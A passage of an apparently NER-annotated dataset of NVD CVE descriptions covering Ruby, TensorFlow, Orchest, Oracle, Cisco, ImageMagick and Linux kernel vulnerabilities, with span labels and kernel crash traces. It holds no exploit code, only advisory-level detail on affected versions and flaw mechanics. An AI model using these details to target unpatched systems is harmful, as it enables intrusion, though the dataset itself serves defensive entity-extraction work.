is restarted. Versions 2.2.14, 3.0.16, and 3.1.14 fix the issue. Some other mitigations are available. One may use middleware to enforce a maximum query string size or parameter count, or employ a reverse proxy (such as Nginx) to limit request sizes and reject oversized query strings or bodies. Limiting request body sizes and query string lengths at the web server or CDN level is an effective mitigation.", "spans": {"SYSTEM: Ruby": [[18, 22], [184, 188]], "VULNERABILITY: denial of service": [[719, 736]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-46727"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. Calling TF operations with tensors of non-numeric types when the operations expect numeric tensors result in null pointer dereferences. The conversion from Python array to C++ array(https://github.com/tensorflow/tensorflow/blob/ff70c47a396ef1e3cb73c90513da4f5cb71bebba/tensorflow/python/lib/core/ndarray_tensor.cc#L113-L169) is vulnerable to a type confusion. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/ff70c47a396ef1e3cb73c90513da4f5cb71bebba/tensorflow/python/lib/core/ndarray_tensor.cc#L113-L169": [[253, 394]], "SYSTEM: Python": [[227, 233]], "VULNERABILITY: type confusion": [[415, 429]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29513"}}
{"text": "### Impact In a CSRF attack, an innocent end user is tricked by an attacker into submitting a web request that they did not intend. This may cause actions to be performed on the website that can include inadvertent client or server data leakage, change of session state, or manipulation of an end user's account. ### Patch Upgrade to v2022.09.10 to patch this vulnerability. ### Workarounds Rebuild and redeploy the Orchest `auth-server` with this commit: https://github.com/orchest/orchest/commit/c2587a963cca742c4a2503bce4cfb4161bf64c2d ### References https://en.wikipedia.org/wiki/Cross-site_request_forgery https://cwe.mitre.org/data/definitions/352.html ### For more information If you have any questions or comments about this advisory: * Open an issue in https://github.com/orchest/orchest * Email us at rick@orchest.io", "spans": {"URL: https://github.com/orchest/orchest/commit/c2587a963cca742c4a2503bce4cfb4161bf64c2d": [[456, 538]], "URL: https://en.wikipedia.org/wiki/Cross-site_request_forgery": [[554, 610]], "URL: https://cwe.mitre.org/data/definitions/352.html": [[611, 658]], "URL: https://github.com/orchest/orchest": [[762, 796]], "DOMAIN: orchest.io": [[816, 826]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-39268"}}
{"text": "Vulnerability in the Oracle Advanced Outbound Telephony product of Oracle E-Business Suite (component: Settings). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Advanced Outbound Telephony. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Advanced Outbound Telephony, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Advanced Outbound Telephony accessible data as well as unauthorized update, insert or delete access to some of Oracle Advanced Outbound Telephony accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [67, 73], [296, 302], [449, 455], [657, 663], [775, 781]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14670"}}
{"text": "A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web-based interface. The vulnerability is due to insufficient validation of user-supplied input to the web-based management interface. An attacker could exploit this vulnerability by crafting a malicious configuration and saving it to the targeted system. An exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information when an administrator views the configuration. An attacker would need write permissions to exploit this vulnerability successfully.", "spans": {"ORGANIZATION: Cisco": [[57, 62]], "VULNERABILITY: cross-site scripting": [[153, 173]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-3157"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm rq: fix double free of blk_mq_tag_set in dev remove after table load fails\n\nWhen loading a device-mapper table for a request-based mapped device,\nand the allocation/initialization of the blk_mq_tag_set for the device\nfails, a following device remove will cause a double free.\n\nE.g. (dmesg):\n  device-mapper: core: Cannot initialize queue for request-based dm-mq mapped device\n  device-mapper: ioctl: unable to set up device queue for new table.\n  Unable to handle kernel pointer dereference in virtual kernel address space\n  Failing address: 0305e098835de000 TEID: 0305e098835de803\n  Fault in home space mode while using kernel ASCE.\n  AS:000000025efe0007 R3:0000000000000024\n  Oops: 0038 ilc:3 [#1] SMP\n  Modules linked in: ... lots of modules ...\n  Supported: Yes, External\n  CPU: 0 PID: 7348 Comm: multipathd Kdump: loaded Tainted: G        W      X    5.3.18-53-default #1 SLE15-SP3\n  Hardware name: IBM 8561 T01 7I2 (LPAR)\n  Krnl PSW : 0704e00180000000 000000025e368eca (kfree+0x42/0x330)\n             R:0 T:1 IO:1 EX:1 Key:0 M:1 W:0 P:0 AS:3 CC:2 PM:0 RI:0 EA:3\n  Krnl GPRS: 000000000000004a 000000025efe5230 c1773200d779968d 0000000000000000\n             000000025e520270 000000025e8d1b40 0000000000000003 00000007aae10000\n             000000025e5202a2 0000000000000001 c1773200d779968d 0305e098835de640\n             00000007a8170000 000003ff80138650 000000025e5202a2 000003e00396faa8\n  Krnl Code: 000000025e368eb8: c4180041e100       lgrl    %r1,25eba50b8\n             000000025e368ebe: ecba06b93a55       risbg   %r11,%r10,6,185,58\n            #000000025e368ec4: e3b010000008       ag      %r11,0(%r1)\n            >000000025e368eca: e310b0080004       lg      %r1,8(%r11)\n             000000025e368ed0: a7110001           tmll    %r1,1\n             000000025e368ed4: a7740129           brc     7,25e369126\n             000000025e368ed8: e320b0080004       lg      %r2,8(%r11)\n             000000025e368ede: b904001b           lgr     %r1,%r11\n  Call Trace:\n   [<000000025e368eca>] kfree+0x42/0x330\n   [<000000025e5202a2>] blk_mq_free_tag_set+0x72/0xb8\n   [<000003ff801316a8>] dm_mq_cleanup_mapped_device+0x38/0x50 [dm_mod]\n   [<000003ff80120082>] free_dev+0x52/0xd0 [dm_mod]\n   [<000003ff801233f0>] __dm_destroy+0x150/0x1d0 [dm_mod]\n   [<000003ff8012bb9a>] dev_remove+0x162/0x1c0 [dm_mod]\n   [<000003ff8012a988>] ctl_ioctl+0x198/0x478 [dm_mod]\n   [<000003ff8012ac8a>] dm_ctl_ioctl+0x22/0x38 [dm_mod]\n   [<000000025e3b11ee>] ksys_ioctl+0xbe/0xe0\n   [<000000025e3b127a>] __s390x_sys_ioctl+0x2a/0x40\n   [<000000025e8c15ac>] system_call+0xd8/0x2c8\n  Last Breaking-Event-Address:\n   [<000000025e52029c>] blk_mq_free_tag_set+0x6c/0xb8\n  Kernel panic - not syncing: Fatal exception: panic_on_oops\n\nWhen allocation/initialization of the blk_mq_tag_set fails in\ndm_mq_init_request_queue(), it is uninitialized/freed, but the pointer\nis not reset to NULL; so when dev_remove() later gets into\ndm_mq_cleanup_mapped_device() it sees the pointer and tries to\nuninitialize and free it again.\n\nFix this by setting the pointer to NULL in dm_mq_init_request_queue()\nerror-handling. Also set it to NULL in dm_mq_cleanup_mapped_device().", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: IBM": [[976, 979]], "VULNERABILITY: double free": [[80, 91], [335, 346]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-46938"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: cdns3: fix random warning message when driver load\n\nWarning log:\n[    4.141392] Unexpected gfp: 0x4 (GFP_DMA32). Fixing up to gfp: 0xa20 (GFP_ATOMIC). Fix your code!\n[    4.150340] CPU: 1 PID: 175 Comm: 1-0050 Not tainted 5.15.5-00039-g2fd9ae1b568c #20\n[    4.158010] Hardware name: Freescale i.MX8QXP MEK (DT)\n[    4.163155] Call trace:\n[    4.165600]  dump_backtrace+0x0/0x1b0\n[    4.169286]  show_stack+0x18/0x68\n[    4.172611]  dump_stack_lvl+0x68/0x84\n[    4.176286]  dump_stack+0x18/0x34\n[    4.179613]  kmalloc_fix_flags+0x60/0x88\n[    4.183550]  new_slab+0x334/0x370\n[    4.186878]  ___slab_alloc.part.108+0x4d4/0x748\n[    4.191419]  __slab_alloc.isra.109+0x30/0x78\n[    4.195702]  kmem_cache_alloc+0x40c/0x420\n[    4.199725]  dma_pool_alloc+0xac/0x1f8\n[    4.203486]  cdns3_allocate_trb_pool+0xb4/0xd0\n\npool_alloc_page(struct dma_pool *pool, gfp_t mem_flags)\n{\n\t...\n\tpage = kmalloc(sizeof(*page), mem_flags);\n\tpage->vaddr = dma_alloc_coherent(pool->dev, pool->allocation,\n\t\t\t\t\t &page->dma, mem_flags);\n\t...\n}\n\nkmalloc was called with mem_flags, which is passed down in\ncdns3_allocate_trb_pool() and have GFP_DMA32 flags.\nkmall_fix_flags() report warning.\n\nGFP_DMA32 is not useful at all. dma_alloc_coherent() will handle\nDMA memory region correctly by pool->dev. GFP_DMA32 can be removed\nsafely.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50151"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/core: Fix \"KASAN: slab-use-after-free Read in ib_register_device\" problem\n\nCall Trace:\n\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:408 [inline]\n print_report+0xc3/0x670 mm/kasan/report.c:521\n kasan_report+0xe0/0x110 mm/kasan/report.c:634\n strlen+0x93/0xa0 lib/string.c:420\n __fortify_strlen include/linux/fortify-string.h:268 [inline]\n get_kobj_path_length lib/kobject.c:118 [inline]\n kobject_get_path+0x3f/0x2a0 lib/kobject.c:158\n kobject_uevent_env+0x289/0x1870 lib/kobject_uevent.c:545\n ib_register_device drivers/infiniband/core/device.c:1472 [inline]\n ib_register_device+0x8cf/0xe00 drivers/infiniband/core/device.c:1393\n rxe_register_device+0x275/0x320 drivers/infiniband/sw/rxe/rxe_verbs.c:1552\n rxe_net_add+0x8e/0xe0 drivers/infiniband/sw/rxe/rxe_net.c:550\n rxe_newlink+0x70/0x190 drivers/infiniband/sw/rxe/rxe.c:225\n nldev_newlink+0x3a3/0x680 drivers/infiniband/core/nldev.c:1796\n rdma_nl_rcv_msg+0x387/0x6e0 drivers/infiniband/core/netlink.c:195\n rdma_nl_rcv_skb.constprop.0.isra.0+0x2e5/0x450\n netlink_unicast_kernel net/netlink/af_netlink.c:1313 [inline]\n netlink_unicast+0x53a/0x7f0 net/netlink/af_netlink.c:1339\n netlink_sendmsg+0x8d1/0xdd0 net/netlink/af_netlink.c:1883\n sock_sendmsg_nosec net/socket.c:712 [inline]\n __sock_sendmsg net/socket.c:727 [inline]\n ____sys_sendmsg+0xa95/0xc70 net/socket.c:2566\n ___sys_sendmsg+0x134/0x1d0 net/socket.c:2620\n __sys_sendmsg+0x16d/0x220 net/socket.c:2652\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xcd/0x260 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nThis problem is similar to the problem that the\ncommit 1d6a9e7449e2 (\"RDMA/core: Fix use-after-free when rename device name\")\nfixes.\n\nThe root cause is: the function ib_device_rename() renames the name with\nlock. But in the function kobject_uevent(), this name is accessed without\nlock protection at the same time.\n\nThe solution is to add the lock protection when this name is accessed in\nthe function kobject_uevent().", "spans": {"FILEPATH: /kasan/report.c": [[283, 298], [339, 354], [386, 401]], "FILEPATH: /linux/fortify-string.h": [[466, 489]], "FILEPATH: /infiniband/core/device.c": [[684, 709], [763, 788]], "FILEPATH: /infiniband/sw/rxe/rxe_verbs.c": [[834, 864]], "FILEPATH: /infiniband/sw/rxe/rxe_net.c": [[900, 928]], "FILEPATH: /infiniband/sw/rxe/rxe.c": [[964, 988]], "FILEPATH: /infiniband/core/nldev.c": [[1027, 1051]], "FILEPATH: /infiniband/core/netlink.c": [[1093, 1119]], "FILEPATH: /netlink/af_netlink.c": [[1199, 1220], [1267, 1288], [1326, 1347]], "FILEPATH: /x86/entry/syscall_64.c": [[1599, 1622], [1665, 1688]], "FILEPATH: dump_stack.c": [[180, 192], [237, 249]], "FILEPATH: string.c": [[428, 436]], "FILEPATH: kobject.c": [[529, 538], [585, 594]], "FILEPATH: kobject_uevent.c": [[636, 652]], "FILEPATH: socket.c": [[1377, 1385], [1419, 1427], [1474, 1482], [1520, 1528], [1565, 1573]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[97, 111], [1820, 1834]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38022"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: csum: Fix OoB access in IP checksum code for negative lengths\n\nAlthough commit c2c24edb1d9c (\"arm64: csum: Fix pathological zero-length\ncalls\") added an early return for zero-length input, syzkaller has\npopped up with an example of a _negative_ length which causes an\nundefined shift and an out-of-bounds read:\n\n | BUG: KASAN: slab-out-of-bounds in do_csum+0x44/0x254 arch/arm64/lib/csum.c:39\n | Read of size 4294966928 at addr ffff0000d7ac0170 by task syz-executor412/5975\n |\n | CPU: 0 PID: 5975 Comm: syz-executor412 Not tainted 6.4.0-rc4-syzkaller-g908f31f2a05b #0\n | Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/25/2023\n | Call trace:\n |  dump_backtrace+0x1b8/0x1e4 arch/arm64/kernel/stacktrace.c:233\n |  show_stack+0x2c/0x44 arch/arm64/kernel/stacktrace.c:240\n |  __dump_stack lib/dump_stack.c:88 [inline]\n |  dump_stack_lvl+0xd0/0x124 lib/dump_stack.c:106\n |  print_address_description mm/kasan/report.c:351 [inline]\n |  print_report+0x174/0x514 mm/kasan/report.c:462\n |  kasan_report+0xd4/0x130 mm/kasan/report.c:572\n |  kasan_check_range+0x264/0x2a4 mm/kasan/generic.c:187\n |  __kasan_check_read+0x20/0x30 mm/kasan/shadow.c:31\n |  do_csum+0x44/0x254 arch/arm64/lib/csum.c:39\n |  csum_partial+0x30/0x58 lib/checksum.c:128\n |  gso_make_checksum include/linux/skbuff.h:4928 [inline]\n |  __udp_gso_segment+0xaf4/0x1bc4 net/ipv4/udp_offload.c:332\n |  udp6_ufo_fragment+0x540/0xca0 net/ipv6/udp_offload.c:47\n |  ipv6_gso_segment+0x5cc/0x1760 net/ipv6/ip6_offload.c:119\n |  skb_mac_gso_segment+0x2b4/0x5b0 net/core/gro.c:141\n |  __skb_gso_segment+0x250/0x3d0 net/core/dev.c:3401\n |  skb_gso_segment include/linux/netdevice.h:4859 [inline]\n |  validate_xmit_skb+0x364/0xdbc net/core/dev.c:3659\n |  validate_xmit_skb_list+0x94/0x130 net/core/dev.c:3709\n |  sch_direct_xmit+0xe8/0x548 net/sched/sch_generic.c:327\n |  __dev_xmit_skb net/core/dev.c:3805 [inline]\n |  __dev_queue_xmit+0x147c/0x3318 net/core/dev.c:4210\n |  dev_queue_xmit include/linux/netdevice.h:3085 [inline]\n |  packet_xmit+0x6c/0x318 net/packet/af_packet.c:276\n |  packet_snd net/packet/af_packet.c:3081 [inline]\n |  packet_sendmsg+0x376c/0x4c98 net/packet/af_packet.c:3113\n |  sock_sendmsg_nosec net/socket.c:724 [inline]\n |  sock_sendmsg net/socket.c:747 [inline]\n |  __sys_sendto+0x3b4/0x538 net/socket.c:2144\n\nExtend the early return to reject negative lengths as well, aligning our\nimplementation with the generic code in lib/checksum.c", "spans": {"FILEPATH: /arm64/lib/csum.c": [[448, 465], [1275, 1292]], "FILEPATH: /25/2023": [[728, 736]], "FILEPATH: /arm64/kernel/stacktrace.c": [[787, 813], [847, 873]], "FILEPATH: /kasan/report.c": [[1007, 1022], [1067, 1082], [1117, 1132]], "FILEPATH: /kasan/generic.c": [[1173, 1189]], "FILEPATH: /kasan/shadow.c": [[1229, 1244]], "FILEPATH: /linux/skbuff.h": [[1371, 1386]], "FILEPATH: /ipv4/udp_offload.c": [[1439, 1458]], "FILEPATH: /ipv6/udp_offload.c": [[1500, 1519]], "FILEPATH: /ipv6/ip6_offload.c": [[1560, 1579]], "FILEPATH: /core/gro.c": [[1623, 1634]], "FILEPATH: /core/dev.c": [[1676, 1687], [1790, 1801], [1848, 1859], [1946, 1957], [2010, 2021]], "FILEPATH: /linux/netdevice.h": [[1720, 1738], [2053, 2071]], "FILEPATH: /sched/sch_generic.c": [[1899, 1919]], "FILEPATH: /packet/af_packet.c": [[2116, 2135], [2158, 2177], [2228, 2247]], "FILEPATH: dump_stack.c": [[899, 911], [958, 970]], "FILEPATH: checksum.c": [[1327, 1337], [2510, 2520]], "FILEPATH: socket.c": [[2280, 2288], [2323, 2331], [2378, 2386]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[662, 668], [669, 675], [691, 697], [719, 725]], "VULNERABILITY: out-of-bounds read": [[367, 385]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53726"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: dsa: clean up FDB, MDB, VLAN entries on unbind\n\nAs explained in many places such as commit b117e1e8a86d (\"net: dsa:\ndelete dsa_legacy_fdb_add and dsa_legacy_fdb_del\"), DSA is written given\nthe assumption that higher layers have balanced additions/deletions.\nAs such, it only makes sense to be extremely vocal when those\nassumptions are violated and the driver unbinds with entries still\npresent.\n\nBut Ido Schimmel points out a very simple situation where that is wrong:\nhttps://lore.kernel.org/netdev/ZDazSM5UsPPjQuKr@shredder/\n(also briefly discussed by me in the aforementioned commit).\n\nBasically, while the bridge bypass operations are not something that DSA\nexplicitly documents, and for the majority of DSA drivers this API\nsimply causes them to go to promiscuous mode, that isn't the case for\nall drivers. Some have the necessary requirements for bridge bypass\noperations to do something useful - see dsa_switch_supports_uc_filtering().\n\nAlthough in tools/testing/selftests/net/forwarding/local_termination.sh,\nwe made an effort to popularize better mechanisms to manage address\nfilters on DSA interfaces from user space - namely macvlan for unicast,\nand setsockopt(IP_ADD_MEMBERSHIP) - through mtools - for multicast, the\nfact is that 'bridge fdb add ... self static local' also exists as\nkernel UAPI, and might be useful to someone, even if only for a quick\nhack.\n\nIt seems counter-productive to block that path by implementing shim\n.ndo_fdb_add and .ndo_fdb_del operations which just return -EOPNOTSUPP\nin order to prevent the ndo_dflt_fdb_add() and ndo_dflt_fdb_del() from\nrunning, although we could do that.\n\nAccepting that cleanup is necessary seems to be the only option.\nEspecially since we appear to be coming back at this from a different\nangle as well. Russell King is noticing that the WARN_ON() triggers even\nfor VLANs:\nhttps://lore.kernel.org/netdev/Z_li8Bj8bD4-BYKQ@shell.armlinux.org.uk/\n\nWhat happens in the bug report above is that dsa_port_do_vlan_del() fails,\nthen the VLAN entry lingers on, and then we warn on unbind and leak it.\n\nThis is not a straight revert of the blamed commit, but we now add an\ninformational print to the kernel log (to still have a way to see\nthat bugs exist), and some extra comments gathered from past years'\nexperience, to justify the logic.", "spans": {"URL: https://lore.kernel.org/netdev/ZDazSM5UsPPjQuKr@shredder/": [[544, 601]], "URL: https://lore.kernel.org/netdev/Z_li8Bj8bD4-BYKQ@shell.armlinux.org.uk/": [[1914, 1984]], "FILEPATH: /testing/selftests/net/forwarding/local_termination.sh": [[1036, 1090]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37864"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/mempolicy: do not allow illegal MPOL_F_NUMA_BALANCING | MPOL_LOCAL in mbind()\n\nsyzbot reported access to unitialized memory in mbind() [1]\n\nIssue came with commit bda420b98505 (\"numa balancing: migrate on fault\namong multiple bound nodes\")\n\nThis commit added a new bit in MPOL_MODE_FLAGS, but only checked valid\ncombination (MPOL_F_NUMA_BALANCING can only be used with MPOL_BIND) in\ndo_set_mempolicy()\n\nThis patch moves the check in sanitize_mpol_flags() so that it is also\nused by mbind()\n\n  [1]\n  BUG: KMSAN: uninit-value in __mpol_equal+0x567/0x590 mm/mempolicy.c:2260\n   __mpol_equal+0x567/0x590 mm/mempolicy.c:2260\n   mpol_equal include/linux/mempolicy.h:105 [inline]\n   vma_merge+0x4a1/0x1e60 mm/mmap.c:1190\n   mbind_range+0xcc8/0x1e80 mm/mempolicy.c:811\n   do_mbind+0xf42/0x15f0 mm/mempolicy.c:1333\n   kernel_mbind mm/mempolicy.c:1483 [inline]\n   __do_sys_mbind mm/mempolicy.c:1490 [inline]\n   __se_sys_mbind+0x437/0xb80 mm/mempolicy.c:1486\n   __x64_sys_mbind+0x19d/0x200 mm/mempolicy.c:1486\n   do_syscall_x64 arch/x86/entry/common.c:51 [inline]\n   do_syscall_64+0x54/0xd0 arch/x86/entry/common.c:82\n   entry_SYSCALL_64_after_hwframe+0x44/0xae\n\n  Uninit was created at:\n   slab_alloc_node mm/slub.c:3221 [inline]\n   slab_alloc mm/slub.c:3230 [inline]\n   kmem_cache_alloc+0x751/0xff0 mm/slub.c:3235\n   mpol_new mm/mempolicy.c:293 [inline]\n   do_mbind+0x912/0x15f0 mm/mempolicy.c:1289\n   kernel_mbind mm/mempolicy.c:1483 [inline]\n   __do_sys_mbind mm/mempolicy.c:1490 [inline]\n   __se_sys_mbind+0x437/0xb80 mm/mempolicy.c:1486\n   __x64_sys_mbind+0x19d/0x200 mm/mempolicy.c:1486\n   do_syscall_x64 arch/x86/entry/common.c:51 [inline]\n   do_syscall_64+0x54/0xd0 arch/x86/entry/common.c:82\n   entry_SYSCALL_64_after_hwframe+0x44/0xae\n  =====================================================\n  Kernel panic - not syncing: panic_on_kmsan set ...\n  CPU: 0 PID: 15049 Comm: syz-executor.0 Tainted: G    B             5.15.0-rc2-syzkaller #0\n  Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\n  Call Trace:\n   __dump_stack lib/dump_stack.c:88 [inline]\n   dump_stack_lvl+0x1ff/0x28e lib/dump_stack.c:106\n   dump_stack+0x25/0x28 lib/dump_stack.c:113\n   panic+0x44f/0xdeb kernel/panic.c:232\n   kmsan_report+0x2ee/0x300 mm/kmsan/report.c:186\n   __msan_warning+0xd7/0x150 mm/kmsan/instrumentation.c:208\n   __mpol_equal+0x567/0x590 mm/mempolicy.c:2260\n   mpol_equal include/linux/mempolicy.h:105 [inline]\n   vma_merge+0x4a1/0x1e60 mm/mmap.c:1190\n   mbind_range+0xcc8/0x1e80 mm/mempolicy.c:811\n   do_mbind+0xf42/0x15f0 mm/mempolicy.c:1333\n   kernel_mbind mm/mempolicy.c:1483 [inline]\n   __do_sys_mbind mm/mempolicy.c:1490 [inline]\n   __se_sys_mbind+0x437/0xb80 mm/mempolicy.c:1486\n   __x64_sys_mbind+0x19d/0x200 mm/mempolicy.c:1486\n   do_syscall_x64 arch/x86/entry/common.c:51 [inline]\n   do_syscall_64+0x54/0xd0 arch/x86/entry/common.c:82\n   entry_SYSCALL_64_after_hwframe+0x44/0xae", "spans": {"FILEPATH: /linux/mempolicy.h": [[713, 731], [2475, 2493]], "FILEPATH: /x86/entry/common.c": [[1093, 1112], [1156, 1175], [1677, 1696], [1740, 1759], [2855, 2874], [2918, 2937]], "FILEPATH: /01/2011": [[2092, 2100]], "FILEPATH: /kmsan/report.c": [[2326, 2341]], "FILEPATH: /kmsan/instrumentation.c": [[2377, 2401]], "FILEPATH: mempolicy.c": [[627, 638], [675, 686], [817, 828], [861, 872], [897, 908], [944, 955], [1003, 1014], [1054, 1065], [1392, 1403], [1445, 1456], [1481, 1492], [1528, 1539], [1587, 1598], [1638, 1649], [2437, 2448], [2579, 2590], [2623, 2634], [2659, 2670], [2706, 2717], [2765, 2776], [2816, 2827]], "FILEPATH: mmap.c": [[774, 780], [2536, 2542]], "FILEPATH: slub.c": [[1271, 1277], [1309, 1315], [1365, 1371]], "FILEPATH: dump_stack.c": [[2135, 2147], [2194, 2206], [2239, 2251]], "FILEPATH: panic.c": [[2284, 2291]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[2026, 2032], [2033, 2039], [2055, 2061], [2083, 2089]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47462"}}
{"text": "WritePALMImage() in /coders/palm.c used size_t casts in several areas of a calculation which could lead to values outside the range of representable type `unsigned long` undefined behavior when a crafted input file was processed by ImageMagick. The patch casts to `ssize_t` instead to avoid this issue. Red Hat Product Security marked the Severity as Low because although it could potentially lead to an impact to application availability, no specific impact was shown in this case. This flaw affects ImageMagick versions prior to ImageMagick 7.0.9-0.", "spans": {"FILEPATH: /coders/palm.c": [[20, 34]], "SYSTEM: ImageMagick": [[232, 243], [501, 512], [531, 542]], "ORGANIZATION: Red Hat": [[303, 310]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-27761"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring: check for non-NULL file pointer in io_file_can_poll()\n\nIn earlier kernels, it was possible to trigger a NULL pointer\ndereference off the forced async preparation path, if no file had\nbeen assigned. The trace leading to that looks as follows:\n\nBUG: kernel NULL pointer dereference, address: 00000000000000b0\nPGD 0 P4D 0\nOops: 0000 [#1] PREEMPT SMP\nCPU: 67 PID: 1633 Comm: buf-ring-invali Not tainted 6.8.0-rc3+ #1\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS unknown 2/2/2022\nRIP: 0010:io_buffer_select+0xc3/0x210\nCode: 00 00 48 39 d1 0f 82 ae 00 00 00 48 81 4b 48 00 00 01 00 48 89 73 70 0f b7 50 0c 66 89 53 42 85 ed 0f 85 d2 00 00 00 48 8b 13 <48> 8b 92 b0 00 00 00 48 83 7a 40 00 0f 84 21 01 00 00 4c 8b 20 5b\nRSP: 0018:ffffb7bec38c7d88 EFLAGS: 00010246\nRAX: ffff97af2be61000 RBX: ffff97af234f1700 RCX: 0000000000000040\nRDX: 0000000000000000 RSI: ffff97aecfb04820 RDI: ffff97af234f1700\nRBP: 0000000000000000 R08: 0000000000200030 R09: 0000000000000020\nR10: ffffb7bec38c7dc8 R11: 000000000000c000 R12: ffffb7bec38c7db8\nR13: ffff97aecfb05800 R14: ffff97aecfb05800 R15: ffff97af2be5e000\nFS:  00007f852f74b740(0000) GS:ffff97b1eeec0000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00000000000000b0 CR3: 000000016deab005 CR4: 0000000000370ef0\nCall Trace:\n <TASK>\n ? __die+0x1f/0x60\n ? page_fault_oops+0x14d/0x420\n ? do_user_addr_fault+0x61/0x6a0\n ? exc_page_fault+0x6c/0x150\n ? asm_exc_page_fault+0x22/0x30\n ? io_buffer_select+0xc3/0x210\n __io_import_iovec+0xb5/0x120\n io_readv_prep_async+0x36/0x70\n io_queue_sqe_fallback+0x20/0x260\n io_submit_sqes+0x314/0x630\n __do_sys_io_uring_enter+0x339/0xbc0\n ? __do_sys_io_uring_register+0x11b/0xc50\n ? vm_mmap_pgoff+0xce/0x160\n do_syscall_64+0x5f/0x180\n entry_SYSCALL_64_after_hwframe+0x46/0x4e\nRIP: 0033:0x55e0a110a67e\nCode: ba cc 00 00 00 45 31 c0 44 0f b6 92 d0 00 00 00 31 d2 41 b9 08 00 00 00 41 83 e2 01 41 c1 e2 04 41 09 c2 b8 aa 01 00 00 0f 05 <c3> 90 89 30 eb a9 0f 1f 40 00 48 8b 42 20 8b 00 a8 06 75 af 85 f6\n\nbecause the request is marked forced ASYNC and has a bad file fd, and\nhence takes the forced async prep path.\n\nCurrent kernels with the request async prep cleaned up can no longer hit\nthis issue, but for ease of backporting, let's add this safety check in\nhere too as it really doesn't hurt. For both cases, this will inevitably\nend with a CQE posted with -EBADF.", "spans": {"FILEPATH: /2/2022": [[561, 568]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[507, 511]], "VULNERABILITY: NULL pointer dereference": [[334, 358]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-39371"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nstaging: media: atomisp: Fix stack buffer overflow in gmin_get_var_int()\n\nWhen gmin_get_config_var() calls efi.get_variable() and the EFI variable\nis larger than the expected buffer size, two behaviors combine to create\na stack buffer overflow:\n\n1. gmin_get_config_var() does not return the proper error code when\n   efi.get_variable() fails. It returns the stale 'ret' value from\n   earlier operations instead of indicating the EFI failure.\n\n2. When efi.get_variable() returns EFI_BUFFER_TOO_SMALL, it updates\n   *out_len to the required buffer size but writes no data to the output\n   buffer. However, due to bug #1, gmin_get_var_int() believes the call\n   succeeded.\n\nThe caller gmin_get_var_int() then performs:\n- Allocates val[CFG_VAR_NAME_MAX + 1] (65 bytes) on stack\n- Calls gmin_get_config_var(dev, is_gmin, var, val, &len) with len=64\n- If EFI variable is >64 bytes, efi.get_variable() sets len=required_size\n- Due to bug #1, thinks call succeeded with len=required_size\n- Executes val[len] = 0, writing past end of 65-byte stack buffer\n\nThis creates a stack buffer overflow when EFI variables are larger than\n64 bytes. Since EFI variables can be controlled by firmware or system\nconfiguration, this could potentially be exploited for code execution.\n\nFix the bug by returning proper error codes from gmin_get_config_var()\nbased on EFI status instead of stale 'ret' value.\n\nThe gmin_get_var_int() function is called during device initialization\nfor camera sensor configuration on Intel Bay Trail and Cherry Trail\nplatforms using the atomisp camera stack.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[1558, 1563]], "VULNERABILITY: buffer overflow": [[104, 119], [297, 312], [1137, 1152]], "VULNERABILITY: code execution": [[1313, 1327]]}, "info": {"source": "nvd_v2", "cve_id": 